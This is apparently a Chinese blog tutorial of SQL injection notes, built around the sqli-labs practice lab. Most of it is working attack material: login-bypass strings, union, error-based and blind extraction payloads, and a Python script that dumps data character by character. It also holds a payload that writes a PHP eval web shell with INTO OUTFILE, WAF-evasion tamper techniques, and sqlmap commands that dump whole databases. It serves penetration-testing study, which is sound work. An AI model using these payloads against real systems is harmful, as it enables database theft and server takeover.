SQL 注入笔记

备忘

数据库常用注入参数

user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
hex() 和 unhex():用于 hex 编码解码
ascii():返回字符的ascii码
char():把整数转换为对应的字符
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
select xxoo into outfile '路径':权限较高时可直接写文件
concat():拼接数据,如 concat(username,password)是把 username 和 password 拼接起来
concat_ws():用法类似,可以指定分隔符
group_concat():和 concat() 类似,如 group_concat(列名) 是把所有列的数据拼一块

注:区别
concat(str1,str2,…)是将多个字符串连接成一个字符串  
concat_ws(separator,str1,str2,…)可以指定分隔符
group_concat()返回字符串结果,该结果由分组中的值连接组合而成

数据库注释

show database(); -- 行内注释
show database(); #  行内注释

/* show database(); 行间注释 */

万能密码

其中替换语句用中括号扩出

  1. admin' #
select * from table where uname='[admin'#]'
  1. admin' /*
select * from table where uname='[admin'/*]' 
  1. ' or 1=1 #
select * from table where uname='[' or 1=1 #]'
  1. ' or 1=1 /*
select * from table where uname='[' or 1=1 /*]'
  1. ') or '1'='1 #
select * from table where uname=('[') or '1'='1 #]'
  1. ') or ('1'='1--

注入语句

# 数据库名
select database();
select schema_name from information_schema;

# 根据当前数据库名聚合库中表名
select group_concat(table_name) from information_schema.tables where table_schema=database()

# 根据表名聚合列名
select group_concat(column_name) from information_schema.columns where table_name='table_name'

# 根据列名查询所在的表
select table_name from information_schema.columns where column_name = 'column_name';

# 查询列名中包含 flag 关键字的表
select table_name from information_schema.columns where column_name like '%flag%'

注入分类

配环境: sqli-labs

注入步骤

  • 判断是否有注入(是否未严格校验)
    • 输入的语句能否被后台拼接,影响显示结果
    • 输入的SQL语句是否能报错(能通过数据库的报错,看到数据库的一些语句痕迹)
    • 输入的SQL语句能否不报错(语句能够成功闭合)
  • 判断注入类型
  • 语句能否被恶意修改
  • 是否能够成功执行
  • 获取数据

整型注入

url?id=2 union select 1,2,3 %23 # 1,2,3仅仅是占位作用
group_concat(列名) # 把所有列的数据拼一块
database()
user()

# 判断有几列用 order by,二分法联合查询字段数,观察页面变化从而确定字段数
order by x %23  

# 然后用 union
union select 1,2,3...

# 判断字段在第几列使用 and 0,查看显示数据的位置
id=2 and 0 union select 1,2,3 %23

# 根据显示数据的位置拖库
...

字符型注入

字符注入如单引号,双引号等,需要根据语句注入返回的信息构造闭合语句(补充单引号双引号等)达到目的

例一

xxx?id=2', 报错 syntax to use near ''2'' limit 0,1' at line 1

分析:
只要看两个单引号内的 '2'' limit 0,1
2 的后面多了个 ',其中一个是我们自己加的,因此注掉多余的即可,
改为 xxx/?id=1'%23, 不报错,判列、判显示数据位置、拖库

例二

xxx?id=2",报错 syntax to use near '"2"") limit 0,1' at line 1

分析:
择出 "2"") limit 0,1
还原语句 where id = "2"") limit 0,1 
在 sql 语句前面可能有一个 ( 来闭合,因此需要补上,也不知道它前面的括号在哪,可以说一下
构造 where id = "(2")#" ==> xxx?id=2")#
或者 where id=("2")#" ==> xxx?id=2")#

POST 注入

burp抓请求重新发

注入分为 GET、POST、COOKIE 注入,当一个站点增加防注入程序后,可以先尝试 GET 和 POST 注入,再尝试 COOKIE 注入,以下是 ASP 和 PHP 数据提交方式

ASP: request(全部接受)、request.querystring(接受get)、request.form(接受post)、request.cookie(接受cookie)
PHP:$_REQUEST(全部接受)、$_GET(接受get)、$_POST(接受POST)、$_COOKIE(接受COOKIE)

报错注入

报错注入是利用报错信息来获取数据库的信息,常用的两个函数为extractvalue()updatexml()

extractvalue()
extractvalue(XML_document, XPath_string)

注:
- 该函数从目标 XML 中返回包含所查询的字符串
- 第一个参数XML_document是String格式,为XML文档对象的名称,中文为Doc
- 第二个参数XPath_string(XPath格式的字符串)

首先使用 ‘(单引号)来使语句报错,xxx?uname='&passwd=123456&submit=Submit
报错:syntax to use near '123456' limit 0,1' at line 1,看不出sql注入的类型

再加个"(双引号)来看更多信息,xxx?uname=‘“&passwd=123456&submit=Submit
报错:syntax to  use near '"' and password='123456' limit 0,1' at line 1,是单引号注入

加 %23(#)测试,xxx?uname=‘%23 &passwd=123456&submit=Submit
不报错

-----------------------------------------------------------

查列:xxx?uname=‘ order by 2 %23 &passwd=123456&submit=Submit
显位:xxx?uname=‘ and 0 union select 1,2 %23
联查:xxx?uname=‘ union select 1, extractvalue(1, (select version())) %23 &passwd=123456&submit=Submit
报错:XPATH syntax error:'.73-community'。

分析:select version()不符合 XPath语法,肯定报错,进而能够知道select version()所返回的内容,基于这一点,可以尝试用数据库的各种函数来获取数据库的内容。且发现内容显示不全,可以使用 concat()拼接字符串,一般我们利用0x7e(即~)来拼接

xxx?uname=‘ union select 1, extractvalue(1, (concat(0x7e,select version()))) %23 &passwd=123456&submit=Submit
报错:XPATH syntax error:'~5.1.73-community'

接下来只需要更换 select version()语句即可,在语句中加 limit 以免返回的数据太多,可以一个个查。以下是替换语句

select table_name from information_schema.tables where table_schema  = database() limit 0,1
updatexml()

updatexml函数有三个参数,与extractvalue一样,只需要修改中间参数即可 updatexml(1,sql,1)

xxx?uname=‘ union select 1, updatexml(1,concat(0x7e,select version(),1) %23 &passwd=123456&submit=Submit

能够爆出报错信息后,修改version()等即可,看不出sql注入的类型

双注入

xxx?uname=admin'&passwd=123456&submit=Submit
报错:syntax to use near '123456' limit 0,1' at line 1

再加 "(双引号)来看更多信息,xxx?uname=admin‘“&passwd=123456&submit=Submit
报错:syntax to  use near '"' and password='123456' limit 0,1' at line 1
"' and password='123456' limit 0,1
说明:uname应该是被单引号包裹的单引号注入(字符型)

改 %23:xxx?uname=admin' %23 &passwd=123456&submit=Submit
省略 order by 的过程
xxx?uname=admin' union select 1,2 %23 &passwd=123456&submit=Submit

此时,发现不报错,只提示成功或者失败,没法根据回显内容来获取数据。因此只能对后面半句的查询再下功夫。

xxx?uname=admin' union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2), database()) % 23 &passwd=123456&submit=Submit

后续可以把 database() 替换掉

其原理是: group by 会生成一张临时表,group by 的时候,游标指向原表中,会去临时表中查找有无包含这个数据的内容,如果有则添加一条数据。我们在这里使用 rand()函数,用于产生 $ [0,1]$ 之间的随机数,加 floor() 表示取小于等于 x 的最大值,因此,floor(rand()*2)结果只能为 0 0 0 1 1 1group by 得到的是一个 key,添加到临时表中,在添加时还会再执行一次 floor(rand),第二条若 floor(rand) 到相同的结果,这就导致临时表中有两个相同的 key,可能报错

盲注

布尔盲注

看不见数据库报错、看不见数据库返回结果,只能通过页面状态变化来判断字符的数据,应用程序仅仅返回注入成功注入失败页面

参考示例链接

常用函数

length() 返回字符串的长度,例如可以返回数据库名字的长度 
substr() ⽤来截取字符串
ascii() 返回字符的ascii码

substr(str, pos)
substr(str, pos, len)
# str 为字符串,pos 为起始位置,len 为截取字符长度
# mysql 中起始位置 pos 是从 1 开始的。若为负数则表示从倒数第几个开始截取
  1. 判断注入类型,是数字型注入 or 字符型注入(需要闭合单双引号)

  2. 猜数据库名字长度、名字。

# 字符型注入尝试猜测数据库的名字长度从 1 开始不断猜测
1and length(database())=1	# 返回错误
1and length(database())=2	# 返回错误
1and length(database())=3 # 返回错误
1and length(database())=4 # 返回成功,说明数据库名称字符串长度为 4

# 利用利用二分法逐字猜数据库的名字
1and ascii(substr(database(),1,1)) > 97 # 显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
...
  1. 猜表的个数、表名长度、表名
# 首先猜表的数量,原理是利用 count() 函数判断 table_name这个表的数量有几个
1and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在,说明表的数量不为 1
1and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在,说明表的数量为 2
# 判断表名长度,先判断一个再判断一个
1and length(substr(表名,1))=9 # 返回正确
填充表名=select table_name from information_schema.tables where table_schema=database() limit 0,1
# 得到表名长度后猜解即可
# 猜解第一个表名的第一个字符长度是否为:g
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 返回正确
# 猜解第一个表名的第二个字符长度是否为:u
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 # 返回正确
# 猜解第一个表名的第三个字符长度是否为:e
1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 # 返回正确

... 依次查找表明的每个字符,查完一个表再查一个表
  1. 猜字段个数、字段长度、字段名
# 判断表 users 的字段数量是否为 8
1and (select count(column_name) from information_schema.columns where table_name='users')=8 # 返回正确
# 判断表 users 表第一个字段的长度
1and length(substr(第一个字段名,1))=7
第一个字段名=select colunm_name from information_schema.tables where table_name='user' limit 0,1

# 判断表 users 表第二个字段的长度
1and length(substr(第二个字段名,1))=8
第一个字段名=select colunm_name from information_schema.tables where table_name='user' limit 1,1

...依次确定字段长度
# 猜字段名
猜解第二个字段名的第一个字符为:f
1and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 #
猜解第二个字段名的第二个字符为:i
1and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #
# 猜字段数据
1and ascii(substr((select user from dvwa.users limit),1,1))=97

以上,手动很麻烦,推荐脚本

import requests


s = requests.Session()
url = 'http://ip:port/index.php'
flag = ''

# 表达式
def expression(i, j):
    # 爆库
    payload = f"or (ascii(substr((SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA),{i},1))>{j})#"
    # 爆表
    payload = f"or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='flag'),{i},1))>{j})#"
    # 爆字段
    payload = f"or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='fllag'),{i},1))>{j})#"
    # 爆段内容
    payload = f"or (ascii(substr((select group_concat(fllllllag) from flag.fllag),{i},1))>{j})#"

    # data 的 key 记得修改,且替换为注入类型
    data = {
        "uname": "admin\\", 
        "pwd": payload
    }
	
    r = s.post(url, data=data)
    if "条件内容" in r.text:
        return True
    else:
        return False


# i 为 substr 的截取位置,mysql 中从 1 开始
# mid 为二分 ascii 编码
for i in range(1, 5000):
    low = 32
    high = 127
    while low <= high:
        mid = (low + high) // 2
        if expression(i, mid):
            low = mid + 1
        else:
            high = mid - 1
    flag += chr((low + high + 1) // 2)
    print("flag: ", flag) 

"""
    '''
    select name, pwd from user where name='admin\' and pwd='or 1 #'
    =>
    修改密码部分的 1 即可
    select name, pwd from user where name='admin\' and pwd='or [替换语句] #‘
    替换语句,其中 i 为截取位置,j 为 ascii 字符编码
    ascii(substr(str,{i},1))>{j}
    # 获取所有的 schema
    str = select group_concat(schema_name) from information_schema.schema
    '''
"""
时间盲注

在注入过程中,无论注入是否成功,页面完全没有变化。只能通过使用数据库的延时函数来判断注入点,一般采用响应时间上的差异来判断是否存在SQL注入

常用函数

sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句,如果错误则执⾏第三个语句

注:sleep() 函数执行是有条件的,必须保障 sql 语句执行结果存在数据记录才会停止指定的秒数,如果 sql 语句查询结果为空,那么 sleep 函数不会停止

select username, sleep(3) from users where id=1;
返回 1 row in set(3.00 sec) # 表明查询不为空,sleep()执行,暂停了 3 秒

select username, sleep(3) from users where id=1 and 0;
返回 Empty set(0.00 sec) # 表明查询为空,sleep() 未执行,因此查询时间为 0

示例 :sqli-lab less-9

# 列举数据库名字,m 为起始位置,1 为 只截取一个字符,n 为 ascii值
# 通过这种方式来判断数据库名字
id=1and sleep(3) and ascii(substr(database(),m,1))>n --+

# 列举当前数据库表名
id=1and sleep(3) and ascii(substr(数据库表名,m,1))>n --+
数据库表名 = select table_name from information_schema.tables where table_schema=database() limit a,1

# 列举当前数据库 users 表中字段名
id=1and sleep(3) and ascii(substr(数据库字段名,m,1))>n --+
数据库字段名 = select column_name from information_schema.columns where table_schema='users' limit a,1

# 列举 users 表中各个字段对应的数据
id=1and sleep(3) and ascii(substr((select username from security.users limit a,1),m,1))>n --+

Cookie、HTTP-Referer 注入

Cookie 注入即修改 cookie 的值进行注入,对get和post方式提交的数据进行了过滤,但未对cookie提交的数据进行过滤。利用 burp 抓包修改 Cookie 值重发即可(比如原本在url中拼接的id=xx,放在cookie 中去重发),注入方式同上。

其实整个包里,任何地方都能够产生注入,比如 Host、HTTP-Referer等,需要根据提示信息来确定哪里能够注入

注入如果有逗号,要考虑 insert、update 去拼接

工具:注入中转生成器

SQL 注入读写文件

Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。使用条件

  1. 有读取权限且文件可读
  2. 欲读取的文件必须在服务器上
  3. 欲读取文件必须小于 max_allowed_packet
  4. 必须指定文件完整的路径
xxx?id=1union select 1,2,load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php") %23

# 执行后发现数据量太多太复杂,可以hex一下,再去解析
xxx?id=1union select 1,2,hex(load_file("C:\\phpStudyB\\WWW\\sqli\\Less-1\\index.php")) %23

into outfile "路径地址":写文件到该路径,例如写一句话木马

# 一句话木马 <?php @eval($_POST[value]); ?>,可以用菜刀连
xxx/?id=1)) union select 12"<?php @eval($_POST[value]); ?>" into outfile "C:\\phpStudyB\\WWW\\sqli\\Less-1\\a.php" %23

注:一个反斜杠变为两个反斜杠是为了避免转义

绕过注释符过滤

注释符号是WAF绕过中经常使用的一种方式,注释符号绕过方式主要的作用就是对注入的SQL指令变形和混淆,从而绕过WAF防火墙的过滤。

注释分类:
#
--+
/**/

例:less-23

id=1# 提示 near ''1'' limit 0,1' at line 1,认为是单引号注入
id=1%23 # 提示 near '' limit 0,1' at line 1
id=1‘” %23 a # 提示 near '"a' limit 0,1' at line 1 说明 # 注释被过滤了
# 改为 --+
id=1‘” --+ a # 提示 near '"a' limit 0,1' at line 1 说明 --+ 也被过滤了

select * from xx where id = '' limit 0,1
# 方法一:构造三个连等,让它不报错
select * from xx where id = ''='' limit 0,1 # id='',  ''=''
# 方法二:相当于把前后两个单引号补全,中间再加一个 1=1,利用两个 and
select * from xx where id =1and 1=1‘’ limit 0,1“;
即添加了1and 1=1# 方法二报错,因为 limit 0,1 不能配合整条SQL语句执行,因此我们替换为
1union select 1,2,3# 尝试
xx/?id=1or (1) or# 不报错
# 但是 or 不显示内容,因此可以使用报错注入 如 extractvalue
xx/?id=1or (extractvalue(1, concat(0x7e,version()))) or# 这样就可以做很多事了

参考1参考2

如果Less-23源代码中闭合方式是('xxx')这样的,就需要这样构造SQL注入语句进行绕过:

http://www.sqli.com/Less-23/?id=-1') union select 1,version(),3 or ('1')=('1

$sql = select * from xx where id=('-1') union select 1,version(),3 or ('1')=('1')...

绕过后台过滤

  • 数字型注入不需要绕过
  • 字符型注入
  • 单引号/双引号闭合后,需要在后面增加一个单引号/双引号即可
  • (’’)单引号加括号这种需要多加一个or (’’)=('1
  • ("")双引号加括号这种需要多加一个or ("")=("1

其他过滤

and or 过滤

发现 and or 均被过滤,可以尝试换一种写法,比如&&||,换一种写法来尝试

空格过滤

空格的表示方法。不同系统不同环境对字符的解析不一样,可以都试一遍。

%a0 空格
%09 TAB键(水平)
%0b TAB键(垂直)
%0a 新建一行
%0c 新的一页
%0d return 功能
/**/ 代替空格

SQLMAP

常用参数

-u:指定一个 url 作为目标,如 sqlmap.py -u "www.baidu.com/user.php?id=7"
-v:输出等级,即让 sqlmap 运行时显示输出的信息,一共 7 个等级,默认为 1,通常使用 3,如 -v 3,显示注入使用的攻击荷载
-r :从文件加载HTTP请求,比如通过 burp 抓取请求保存为 a.txt,-r $path/a.txt
-p:指定参数,可以指定 url 里的参数,也可以指定文件里的参数,如 -p uname,pwd
--batch:使用默认配置,从不询问
--dbms:指定数据库,如 --dbms mysql
--risk:执行测试的风险(0-3,默认为1),risk 越高,越慢但是越安全,一般使用 3
--level:执行测试的等级(1-5,默认为1),一般用5
--dbs:列库
--tables:列表,列库后指定库在列表,如 -D database --tables
--dump:拖库,-D database -T table --dump
python sqlmap.py -r ./a.txt --risk 3 --level 5 --batch --dbms mysql -v 3 -p uname,pwd --dbs
python sqlmap.py -r ./a.txt --risk 3 --level 5 --batch --dbms mysql -v 3 -p uname,pwd -D database --tables
python sqlmap.py -r ./a.txt --risk 3 --level 5 --batch --dbms mysql -v 3 -p uname,pwd -D database -T table --dump

参数参考

目标

即使用 sqlmap 必须提供确定的目标

 -d direct:直接连接数据库的连接字符串
-u url, --url=URL:目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url 
-l logfile:从 Burp 或者 WebScarab 代理日志文件中分析目标
-x sitemapurl:从远程网站地图(sitemap.xml)文件来解析目标
-m bulkfile:将目标地址保存在文件中,一行为一个URL地址进行批量检测。
-r requestfile:从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443
-g googledork:从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)
-c configfile:从配置ini文件中加载选项

注入

-p TESTPARAMETER:可测试的参数
--skip=SKIP:跳过对给定参数的测试
--dbms=DBMS:强制后端的DBMS为此值
--os=OS:强制后端的DBMS操作系统为这个值
--invalid-bignum:使用大数字使值无效
--invalid-logical:使用逻辑操作使值无效
--invalid-string:使用随机字符串使值无效
--no-escape:关闭字符串逃逸机制
--tamper=TAMPER:使用给定的脚本篡改注入数据

检测

--level=LEVEL:执行测试的等级(1-5,默认为1)
--risk=RISK:执行测试的风险(0-3,默认为1)
--string=STRING:查询时有效时在页面匹配字符串
--not-string=NOT..:当查询求值为无效时匹配的字符串
--regexp=REGEX:查询时有效时在页面匹配正则表达式

枚举

-a, --all:获取所有信息
-b, --banner:获取数据库管理系统的标识
--current-user:获取数据库管理系统当前用户
--current-db:获取数据库管理系统当前数据库
--hostname:获取数据库服务器的主机名称
--is-dba:检测DBMS当前用户是否DBA
--users:枚举数据库管理系统用户
--passwords:枚举数据库管理系统用户密码哈希
--dbs:枚举数据库管理系统数据库
--tables:枚举的DBMS数据库中的表
--columns:枚举DBMS数据库表列
--schema:枚举数据库架构
--count:检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
--dump:转储数据库表项
--dump-all:转储数据库所有表项
--search:搜索列(S),表(S)和/或数据库名称(S)
-D DB:指定数据库名
-T TBL:指定表名
--sql-file=SQLFILE:要执行的SQL文件

其他

--batch:从不询问用户输入,使用所有默认配置。
--skip-waf:跳过WAF/IPS / IDS启发式检测保护

###绕 WAF

https://blog.csdn.net/qq_29277155/article/details/51193071

常用脚本介绍

apostrophemask.py
  • 适用数据库:ALL
  • 作用:将引号替换为utf-8,用于过滤单引号
  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
base64encode.py
  • 适用数据库:ALL
  • 作用:替换为base64编码
  • 使用脚本前:tamper("1' AND SLEEP(5)#")
  • 使用脚本后:MScgQU5EIFNMRUVQKDUpIw==
multiplespaces.py
  • 适用数据库:ALL
  • 作用:围绕sql关键字添加多个空格
  • 使用脚本前:tamper('1 UNION SELECT foobar')
  • 使用脚本后:1 UNION SELECT foobar
space2plus.py
  • 适用数据库:ALL
  • 作用:用加号替换空格
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT+id+FROM+users
nonrecursivereplacement.py
  • 适用数据库:ALL
  • 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
  • 使用脚本前:tamper('1 UNION SELECT 2--')
  • 使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
space2randomblank.py
  • 适用数据库:ALL
  • 作用:将空格替换为其他有效字符
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Did%0DFROM%0Ausers
unionalltounion.py
  • 适用数据库:ALL
  • 作用:将union allselect 替换为unionselect
  • 使用脚本前:tamper('-1 UNION ALL SELECT')
  • 使用脚本后:-1 UNION SELECT
securesphere.py

适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper('1 AND 1=1')
使用脚本后:1 AND 1=1 and '0having'='0having'

space2dash.py
  • 适用数据库:ALL
  • 作用:将空格替换为--,并添加一个随机字符串和换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227
space2mssqlblank.py
  • 适用数据库:Microsoft SQL Server
  • 测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
  • 作用:将空格随机替换为其他空格符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Eid%0DFROM%07users
between.py
  • 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  • 作用:用NOT BETWEEN 0 AND #替换>
  • 使用脚本前:tamper('1 AND A > B--')
  • 使用脚本后:1 AND A NOT BETWEEN 0 AND B--
percentage.py
  • 适用数据库:ASP
  • 测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
  • 作用:在每个字符前添加一个%
  • 使用脚本前:tamper('SELECT FIELD FROM TABLE')
  • 使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
sp_password.py
  • 适用数据库:MSSQL
  • 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
  • 使用脚本前:tamper('1 AND 9227=9227-- ')
  • 使用脚本后:1 AND 9227=9227-- sp_password
charencode.py
  • 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  • 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
  • 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  • 使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
randomcase.py
  • 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  • 作用:随机大小写
  • 使用脚本前:tamper('INSERT')
  • 使用脚本后:INseRt
charunicodeencode.py
  • 适用数据库:ASP、ASP.NET
  • 测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
  • 作用:适用字符串的unicode编码
  • 使用脚本前:tamper('SELECT FIELD%20FROM TABLE')
  • 使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
space2comment.py
  • 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  • 作用:将空格替换为/**/
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT/**/id/**/FROM/**/users
equaltolike.py
  • 测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
  • 作用:将=替换为LIKE
  • 使用脚本前:tamper('SELECT * FROM users WHERE id=1')
  • 使用脚本后:SELECT * FROM users WHERE id LIKE 1
equaltolike.py
  • 测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
  • 作用:将>替换为GREATEST,绕过对>的过滤
  • 使用脚本前:tamper('1 AND A > B')
  • 使用脚本后:1 AND GREATEST(A,B+1)=A
ifnull2ifisnull.py
  • 适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
  • 测试通过数据库:MySQL 5.0 and 5.5
  • 作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
  • 使用脚本前:tamper('IFNULL(1, 2)')
  • 使用脚本后:IF(ISNULL(1),2,1)
modsecurityversioned.py
  • 适用数据库:MySQL
  • 测试通过数据库:MySQL 5.0
  • 作用:过滤空格,使用mysql内联注释的方式进行注入
  • 使用脚本前:tamper('1 AND 2>1--')
  • 使用脚本后:1 /*!30874AND 2>1*/--
space2mysqlblank.py
  • 适用数据库:MySQL
  • 测试通过数据库:MySQL 5.1
  • 作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
  • 使用脚本前:tamper('SELECT id FROM users')
  • 使用脚本后:SELECT%0Bid%0DFROM%0Cusers
modsecurityzeroversioned.py
  • 适用数据库:MySQL
  • 测试通过数据库:MySQL 5.0
  • 作用:使用内联注释方式(/*!00000*/)进行注入
  • 使用脚本前:tamper('1 AND 2>1--')
  • 使用脚本后:1 /*!00000AND 2>1*/--
space2mysqldash.py
  • 适用数据库:MySQL、MSSQL
  • 作用:将空格替换为 -- ,并追随一个换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1--%0AAND--%0A9227=9227
bluecoat.py
  • 适用数据库:Blue Coat SGOS
  • 测试通过数据库:MySQL 5.1,、SGOS
  • 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
  • 使用脚本前:tamper('SELECT id FROM users where id = 1')
  • 使用脚本后:SELECT%09id FROM users where id LIKE 1
versionedkeywords.py
  • 适用数据库:MySQL
  • 测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
  • 作用:注释绕过
  • 使用脚本前:tamper('1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#')
  • 使用脚本后:1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
halfversionedmorekeywords.py
  • 适用数据库:MySQL < 5.1
  • 测试通过数据库:MySQL 4.0.18/5.0.22
  • 作用:在每个关键字前添加mysql版本注释
  • 使用脚本前:tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
  • 使用脚本后:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
space2morehash.py
  • 适用数据库:MySQL >= 5.1.13
  • 测试通过数据库:MySQL 5.1.41
  • 作用:将空格替换为#,并添加一个随机字符串和换行符
  • 使用脚本前:tamper('1 AND 9227=9227')
  • 使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
apostrophenullencode.py
  • 适用数据库:ALL
  • 作用:用非法双字节Unicode字符替换单引号
  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %00%271%00%27=%00%271
appendnullbyte.py
  • 适用数据库:ALL
  • 作用:在有效载荷的结束位置加载null字节字符编码
  • 使用脚本前:tamper('1 AND 1=1')
  • 使用脚本后:1 AND 1=1%00
chardoubleencode.py
  • 适用数据库:ALL
  • 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
  • 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  • 使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
unmagicquotes.py
  • 适用数据库:ALL
  • 作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
  • 使用脚本前:tamper("1' AND 1=1")
  • 使用脚本后:1%bf%27 AND 1=1--
randomcomments.py
  • 适用数据库:ALL
  • 作用:用注释符分割sql关键字
  • 使用脚本前:tamper('INSERT')
  • 使用脚本后:I/**/N/**/SERT

Burp Fuzzing

有时候手动注入不知道过滤了哪些关键字,WAF 很严,可以使用 burp 的 fuzz 进行测试。通过Burpsuite Intruder模块,通过特定设置把子弹(payload)射向目标(target-site)

子弹来源:Fuzzdb,github 上一个专门 fuzz 测试的 payload 库,attack 目录下有针对各种目标的子弹, sql 注入在 sql-injection 目录下。此次测试用到的是 attack/sql-injection/detect/xplatform.txt

步骤

  1. 抓包,复制报文
  2. burp-->intruder-->Positions-->狙击手(Sniper)中粘贴报文
  3. 选中参数,点击 添加$ 按钮,这样选中的参数就会被标记为 payload 的加载位置
  4. 点击Payloads选项卡,其中的 Payload Option[Simple list](有效载荷选项【简单列表】)中加载 xplatform.txt,这样子弹就被填充了
  5. 点击Options选项卡,设置请求线程数、重试次数、超时时间等等信息,也可以用默认的
  6. 点击Options选项卡上方菜单Intruder -> Start attack ,启动!

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值